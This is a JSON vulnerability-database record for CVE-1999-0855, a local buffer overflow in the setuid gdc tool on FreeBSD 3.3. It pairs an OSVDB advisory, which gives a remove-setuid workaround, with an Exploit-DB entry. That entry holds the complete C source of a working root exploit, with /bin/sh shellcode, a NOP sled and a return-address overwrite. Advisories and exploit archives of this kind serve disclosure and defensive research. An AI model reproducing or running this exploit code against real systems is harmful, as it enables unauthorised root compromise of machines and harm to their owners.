{"osvdb": [{"lastseen": "2017-04-28T13:20:00", "references": [], "edition": 1, "description": "## Vulnerability Description\nA local overflow exists in FreeBSD. The gdc fails to check boundaries resulting in a buffer overflow. With a specially crafted request, in which the -t flag (time) in a gdc argument exceeds its predefined buffer length, an attacker who is in the wheel group can execute arbitrary code resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: remove the setuid bit from gdc.\n## Short Description\nA local overflow exists in FreeBSD. The gdc fails to check boundaries resulting in a buffer overflow. With a specially crafted request, in which the -t flag (time) in a gdc argument exceeds its predefined buffer length, an attacker who is in the wheel group can execute arbitrary code resulting in a loss of integrity.\n## References:\nVendor URL: http://www.freebsd.org\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/1999-q4/0146.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/1999-q4/0185.html\nISS X-Force ID: 3739\nGeneric Exploit URL: http://downloads.securityfocus.com/vulnerabilities/exploits/gdc-exp.c\n[CVE-1999-0855](https://vulners.com/cve/CVE-1999-0855)\nBugtraq ID: 834\n", "reporter": "Brock Tellier(btellier@webley.com)", "published": "1999-11-30T00:00:00", "type": "osvdb", "title": "FreeBSD gdc Local Overflow", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "FreeBSD", "version": "3.3", "operator": "eq"}], "cvelist": ["CVE-1999-0855"], "modified": "1999-11-30T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:5999", "id": "OSVDB:5999", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2016-02-02T12:21:38", "osvdbidlist": ["5999"], "references": [], "edition": 1, "description": "FreeBSD 3.3 gdc Buffer Overflow Vulnerability. CVE-1999-0855 . Local exploit for freebsd platform", "reporter": "Brock Tellier", "published": "1999-12-01T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "exploitdb", "title": "FreeBSD 3.3 gdc Buffer Overflow Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-1999-0855"], "modified": "1999-12-01T00:00:00", "id": "EDB-ID:19649", "href": "https://www.exploit-db.com/exploits/19649/", "sourceData": "source: http://www.securityfocus.com/bid/834/info\r\n\r\nThere is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed along with the -t flag (time) exceeds its predefined buffer length. It is possible to then corrupt the stack and alter the flow of execution (and execute arbitrary code). With gdc setuid root by default, this can lead to a local root compromise if exploited by users who have or gain access of or belong to the wheel group (or trusted gated group).\r\n\r\n/* \r\n\r\n * gdc exploit for Freebsd-3.3 yields euid=3D0(root)\r\n * by default, only group wheel (or whatever your trusted gated group is)=\r\n\r\n * and root can run gdc\r\n * Brock Tellier btellier@usa.net\r\n */\r\n\r\n\r\n#include <stdio.h>\r\n\r\nchar shell[] = /* mudge@l0pht.com */\r\n \"\\xeb\\x35\\x5e\\x59\\x33\\xc0\\x89\\x46\\xf5\\x83\\xc8\\x07\\x66\\x89\\x46\\xf9\"\r\n \"\\x8d\\x1e\\x89\\x5e\\x0b\\x33\\xd2\\x52\\x89\\x56\\x07\\x89\\x56\\x0f\\x8d\\x46\"\r\n \"\\x0b\\x50\\x8d\\x06\\x50\\xb8\\x7b\\x56\\x34\\x12\\x35\\x40\\x56\\x34\\x12\\x51\"\r\n \"\\x9a>:)(:<\\xe8\\xc6\\xff\\xff\\xff/bin/sh\";\r\n\r\n\r\nmain (int argc, char *argv[] ) {\r\n int x = 0;\r\n int y = 0;\r\n int offset = 0;\r\n int bsize = 4093;\r\n char buf[bsize];\r\n int eip = 0xbfbfdb65; /* works for me */\r\n\r\n if (argv[1]) { =\r\n\r\n offset = atoi(argv[1]);\r\n eip = eip + offset;\r\n }\r\n fprintf(stderr, \"gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\\=\r\nn\");\r\n fprintf(stderr, \"eip=0x%x offset=%d buflen=%d\\n\", eip, offset, bsi=\r\nze);\r\n =\r\n\r\n for ( x = 0; x < 937; x++) buf[x] = 0x90;\r\n fprintf(stderr, \"NOPs to %d\\n\", x);\r\n =\r\n\r\n for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];\r\n fprintf(stderr, \"Shellcode to %d\\n\",x);\r\n =\r\n\r\n buf[x++] = eip & 0x000000ff;\r\n buf[x++] = (eip & 0x0000ff00) >> 8;\r\n buf[x++] = (eip & 0x00ff0000) >> 16;\r\n buf[x++] = (eip & 0xff000000) >> 24;\r\n fprintf(stderr, \"eip to %d\\n\",x);\r\n\r\n buf[bsize - 1]='\\0';\r\n\r\n execl(\"/usr/local/bin/gdc\", \"gdc\", \"-t\", buf, NULL);\r\n\r\n}\r\n\r\n\r\n\r\n\r\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/19649/"}]}
